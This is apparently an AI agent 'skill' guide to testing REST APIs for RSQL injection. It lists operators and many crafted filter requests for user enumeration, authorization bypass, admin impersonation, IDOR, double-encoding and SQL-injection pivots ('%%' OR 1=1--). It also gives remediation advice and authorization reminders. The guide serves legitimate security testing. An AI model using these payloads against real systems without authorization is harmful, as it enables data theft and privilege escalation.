RSQL Injection Testing Skill
A comprehensive guide for testing REST APIs for RSQL (RESTful Query String) injection vulnerabilities.
What is RSQL Injection?
RSQL is a query language for parameterized filtering in RESTful APIs. When applications don't properly sanitize RSQL filters, attackers can inject malicious queries to:
- Extract sensitive data beyond their access level
- Bypass authorization controls
- Escalate privileges by impersonating other users
- Enumerate users and resources
- Modify or delete data through crafted filters
When to Use This Skill
Use this skill when you encounter:
- REST API endpoints with
filter,q, or similar query parameters - APIs using JSON:API, Spring Data REST, Elide, or similar frameworks
- Endpoints that accept query-based filtering
- Any situation where you need to test for filter injection vulnerabilities
Quick Start
1. Identify RSQL Endpoints
Look for these patterns in API URLs:
# Common RSQL parameter names
/api/users?filter=id==123
/api/products?q=category==electronics
/api/orders?filter[status]=active
/api/items?filter=price>100;category==electronics
Probe for RSQL support:
# Send harmless probes to detect RSQL parsing
GET /api/users?filter=id==test
GET /api/users?q=test
GET /api/users?filter=unknown_field==value
What to look for:
- Parser errors like "Unknown operator" or "Unknown property"
- Different response codes for valid vs invalid filters
- Response size changes based on filter values
2. Test Basic Operators
RSQL supports these operators:
| Operator | Description | Example |
|---|---|---|
== |
Equals | name==john |
!= |
Not equals | status!=inactive |
> / =gt= |
Greater than | price>100 |
< / =lt= |
Less than | price<50 |
>= / =ge= |
Greater or equal | age>=18 |
<= / =le= |
Less or equal | score<=100 |
=q= |
Contains (search) | name=q=john |
=like= |
Like pattern | name=like=*john* |
=in= |
In list | status=in=(active,pending) |
=out= |
Not in list | status=out=(deleted,archived) |
=rng= |
Range | createdAt=rng=(2024-01-01,2024-12-31) |
; / and |
AND operator | status==active;role==admin |
, / or |
OR operator | status==active,role==admin |
3. Information Leakage Tests
User enumeration via email:
# Check if email exists
GET /api/registrations?filter[userAccounts]=email=='test@example.com'
# If vulnerable, may return user data instead of simple true/false
GET /api/registrations?filter[userAccounts]=email=='admin@company.com'
Wildcard enumeration:
# Enumerate users by email pattern
GET /api/users?filter[users]=email==*%@company.com
# Enumerate by status
GET /api/users?filter[users]=status==ACTIVE;email==*admin*
# Use OR to compare response sizes
GET /api/users?filter[users]=email==*a*,email==*b*
Range-based enumeration:
# Enumerate by date range
GET /api/users?filter[users]=createdAt=rng=(2024-01-01,2024-12-31)
# Enumerate by ID range
GET /api/users?filter[users]=id=rng=(1,1000)
4. Authorization Bypass Tests
Bypass access controls:
# Normal request (may return 403)
GET /api/users
# Try to bypass with wildcard filter
GET /api/users?filter[users]=id=in=(*a*)
# Try to access all users
GET /api/users?filter[users]=id!=null
# Try OR-based bypass
GET /api/users?filter[users]=id==1,id==2,id==3
Filter on related resources:
# Filter on nested properties
GET /api/orders?filter[orders]=customer.email==*admin*
# May bypass top-level ACLs
GET /api/companyUsers?filter[companyUsers]=user.id=='ADMIN_ID'
5. Privilege Escalation Tests
Enumerate admin users:
# Find users with admin role
GET /api/companyUsers?include=role&filter[companyUsers]=userRole.userRoleKey=='general.roles.admin'
# Find users by role ID
GET /api/companyUsers?filter[companyUsers]=userRole.userRoleId==1
Impersonate admin:
# After finding admin ID, use it to get admin permissions
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='ADMIN_ID'
6. IDOR and Impersonation Tests
Access other users' data:
# Normal profile request
GET /api/users?include=language,country
# Try to access another user
GET /api/users?include=language,country&filter[users]=id=='OTHER_USER_ID'
# Try to include sensitive fields
GET /api/users?include=language,country,password,token
Combine filters for IDOR:
# Bypass ownership checks
GET /api/orders?filter[orders]=customer.id=='OTHER_ID'
# Access restricted resources
GET /api/documents?filter[documents]=owner.id=='OTHER_ID'
7. Advanced Techniques
Double-encoding bypass:
# Some implementations double-parse URL parameters
GET /api/users?filter[users]=id=in=(%2528admin%2529)
# Decodes to: id=in=((admin))
Boolean exfiltration:
# Compare response sizes to extract data
GET /api/users?filter[users]=email==*a*@example.com
GET /api/users?filter[users]=email==*b*@example.com
# Different sizes indicate which pattern matches
Nested subqueries:
# Complex nested conditions
GET /api/products?filter=(category==electronics;price>100),(category==books;price>50)
Custom operators (framework-specific):
# Elide may have custom operators like =ilike=
GET /api/users?filter[users]=name=ilike='%%' OR 1=1--'
# May pivot to SQL injection in vulnerable implementations
8. Framework-Specific Tests
Elide / Spring Data REST:
# Test for SQLi via custom operators
GET /api/users?filter[users]=name=ilike='%%' OR 1=1--'
# Test @JoinFilter expressions
GET /api/users?filter[users]=customField=${7*7}
JSON:API:
# Filter on related resources
GET /api/orders?include=customer&filter[orders]=customer.email==*admin*
# May bypass top-level ACLs
Detection Checklist
- Identify endpoints with filter/q parameters
- Send harmless probes to confirm RSQL support
- Test basic operators (==, !=, >, <, =in=, =out=)
- Test logical operators (;, and, ,, or)
- Attempt user enumeration with wildcards
- Test authorization bypass with filters
- Try privilege escalation via role filters
- Test IDOR with user ID filters
- Attempt double-encoding bypass
- Test framework-specific vulnerabilities
- Check for SQLi pivot opportunities
Reporting Findings
When documenting RSQL injection vulnerabilities:
- Endpoint: Full URL with vulnerable parameter
- Payload: Exact filter that caused the vulnerability
- Impact: What data was accessed or what control was bypassed
- Evidence: Request/response showing the vulnerability
- Remediation: Input validation, parameterized queries, proper authorization checks
Remediation Guidance
For developers fixing RSQL injection:
- Validate filter parameters: Whitelist allowed fields and operators
- Use parameterized queries: Never concatenate user input into queries
- Implement proper authorization: Check permissions before returning data
- Limit filter depth: Restrict nested subquery complexity
- Sanitize special characters: Escape or reject dangerous characters
- Use established libraries: Prefer well-maintained RSQL parsers with security features
Automation
Use the included scripts to automate RSQL testing:
# Generate test payloads
python scripts/rsql_payload_generator.py --endpoint /api/users --field email
# Quick fuzzing
bash scripts/rsql_fuzzer.sh http://target/api/users filter
References
Safety Notes
- Only test APIs you have authorization to assess
- Use rate limiting to avoid overwhelming target systems
- Document all findings for responsible disclosure
- Never use these techniques on production systems without permission